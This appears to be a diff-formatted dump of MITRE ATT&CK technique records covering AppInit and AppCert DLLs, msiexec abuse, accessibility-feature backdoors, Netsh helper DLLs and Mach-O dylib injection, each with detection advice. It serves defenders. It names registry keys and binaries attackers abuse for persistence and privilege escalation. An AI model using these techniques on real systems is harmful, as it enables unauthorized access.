'url': 'https://attack.mitre.org/techniques/T1546/010', 'external_id': 'T1546.010'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'AppInit Registry', 'description': 'Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.', 'url': 'https://support.microsoft.com/en-us/kb/197571'}, {'source_name': 'AppInit Secure Boot', 'description': 'Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.', 'url': 'https://msdn.microsoft.com/en-us/library/dn280412'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:52:25.589Z,2020-11-10T18:29:31.076Z,AppInit DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. -The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd,attack-pattern,"['privilege-escalation', 'persistence']",2020-11-10T18:29:31.076Z,2020-01-24T14:52:25.589Z,"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) +The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/010,mitre-attack,T1546.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,['Administrator'],['Windows'],,,,['Secure boot disabled on systems running Windows 8 and later'],,"['Administrator', 'SYSTEM']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.009', 'url': 'https://attack.mitre.org/techniques/T1546/009'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}, {'url': 'https://forum.sysinternals.com/appcertdlls_topic12546.html', 'description': 'Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.', 'source_name': 'Sysinternals AppCertDlls Oct 2007'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/009,mitre-attack,T1546.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,AppCert DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017) +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",True,['Administrator'],['Windows'],,,,['Secure boot disabled on systems running Windows 8 and later'],,"['Administrator', 'SYSTEM']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/009', 'external_id': 'T1546.009'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Sysinternals AppCertDlls Oct 2007', 'description': 'Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.', 'url': 'https://forum.sysinternals.com/appcertdlls_topic12546.html'}]",1.0,attack-pattern,attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:47:41.795Z,2020-11-10T18:29:31.052Z,AppCert DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017) -Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c,attack-pattern,"['privilege-escalation', 'persistence']",2020-11-10T18:29:31.052Z,2020-01-24T14:47:41.795Z,"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) +Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/009,mitre-attack,T1546.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,"['Administrator', 'SYSTEM']",['Windows'],,,,,,"['Administrator', 'SYSTEM']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.007', 'url': 'https://attack.mitre.org/techniques/T1218/007'}, {'source_name': 'Microsoft msiexec', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec', 'description': 'Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.'}, {'description': 'LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msiexec/', 'source_name': 'LOLBAS Msiexec'}, {'source_name': 'TrendMicro Msiexec Feb 2018', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/', 'description': 'Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.'}, {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1218/007,mitre-attack,T1218.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Msiexec,"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,"['Administrator', 'SYSTEM']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/007', 'external_id': 'T1218.007'}, {'source_name': 'Microsoft msiexec', 'description': 'Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec'}, {'source_name': 'LOLBAS Msiexec', 'description': 'LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msiexec/'}, {'source_name': 'TrendMicro Msiexec Feb 2018', 'description': 'Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/'}, {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated'}]",1.1,attack-pattern,attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:38:49.266Z,2021-06-07T19:57:26.824Z,Msiexec,"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. -Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336,attack-pattern,['defense-evasion'],2020-12-14T18:40:45.170Z,2020-01-24T14:38:49.266Z,Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.,"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']",['Alexandros Pappas'],"['Digital Certificate Validation', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.008', 'url': 'https://attack.mitre.org/techniques/T1546/008'}, {'external_id': 'CAPEC-558', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/558.html'}, {'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.', 'source_name': 'FireEye Hikit Rootkit'}, {'url': 'https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom', 'description': 'Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.', 'source_name': 'DEFCON2016 Sticky Keys'}, {'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'source_name': 'Tilbury 2014'}, {'source_name': 'Narrator Accessibility Abuse', 'url': 'https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html', 'description': ""Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/008,mitre-attack,T1546.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Accessibility Features,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. +Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/007,mitre-attack,T1218.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ziv Kaspersky, Cymptom', 'Alexandros Pappas']","['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.,True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/008', 'external_id': 'T1546.008'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/558.html', 'external_id': 'CAPEC-558'}, {'source_name': 'FireEye Hikit Rootkit', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html'}, {'source_name': 'DEFCON2016 Sticky Keys', 'description': 'Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.', 'url': 'https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom'}, {'source_name': 'Tilbury 2014', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'}, {'source_name': 'Narrator Accessibility Abuse', 'description': ""Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."", 'url': 'https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html'}]",1.0,attack-pattern,attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:32:40.315Z,2020-05-13T20:37:30.048Z,Accessibility Features,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as ""sticky keys"", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) @@ -2116,34 +2327,34 @@ Other accessibility features exist that may also be leveraged in a similar fashi * Magnifier: C:\Windows\System32\Magnify.exe * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe -* App Switcher: C:\Windows\System32\AtBroker.exe",attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5,attack-pattern,"['privilege-escalation', 'persistence']",2020-05-13T20:37:30.048Z,2020-01-24T14:32:40.315Z,"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']","['Paul Speulstra, AECOM Global Security Operations Center']",,['Administrator'],['Windows'],,CAPEC-558,https://capec.mitre.org/data/definitions/558.html,,,['SYSTEM'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.007', 'url': 'https://attack.mitre.org/techniques/T1546/007'}, {'url': 'https://technet.microsoft.com/library/bb490939.aspx', 'description': 'Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.', 'source_name': 'TechNet Netsh'}, {'url': 'https://github.com/outflankbv/NetshHelperBeacon', 'description': 'Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.', 'source_name': 'Github Netsh Helper CS Beacon'}, {'url': 'https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html', 'description': 'Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.', 'source_name': 'Demaske Netsh Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/007,mitre-attack,T1546.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Netsh Helper DLL,"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. +* App Switcher: C:\Windows\System32\AtBroker.exe","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/008,mitre-attack,T1546.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Paul Speulstra, AECOM Global Security Operations Center']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.",True,['Administrator'],['Windows'],,CAPEC-558,https://capec.mitre.org/data/definitions/558.html,,,['SYSTEM'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/007', 'external_id': 'T1546.007'}, {'source_name': 'TechNet Netsh', 'description': 'Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.', 'url': 'https://technet.microsoft.com/library/bb490939.aspx'}, {'source_name': 'Github Netsh Helper CS Beacon', 'description': 'Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.', 'url': 'https://github.com/outflankbv/NetshHelperBeacon'}, {'source_name': 'Demaske Netsh Persistence', 'description': 'Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.', 'url': 'https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html'}]",1.0,attack-pattern,attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:26:51.207Z,2020-03-24T18:28:07.793Z,Netsh Helper DLL,"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. -Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed,attack-pattern,"['privilege-escalation', 'persistence']",2020-03-24T18:28:07.793Z,2020-01-24T14:26:51.207Z,It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence),"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']","['Matthew Demaske, Adaptforward']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.006', 'url': 'https://attack.mitre.org/techniques/T1546/006'}, {'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'source_name': 'Writing Bad Malware for OSX'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'source_name': 'Malware Persistence on OS X'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/006,mitre-attack,T1546.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LC_LOAD_DYLIB Addition,"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. +Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/007,mitre-attack,T1546.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence),True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/006', 'external_id': 'T1546.006'}, {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'}, {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",1.0,attack-pattern,attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:21:52.750Z,2021-03-30T00:51:58.454Z,LC_LOAD_DYLIB Addition,"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. -Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)",attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847,attack-pattern,"['privilege-escalation', 'persistence']",2021-03-30T00:51:58.454Z,2020-01-24T14:21:52.750Z,Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.,"['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']",,,['User'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.005', 'url': 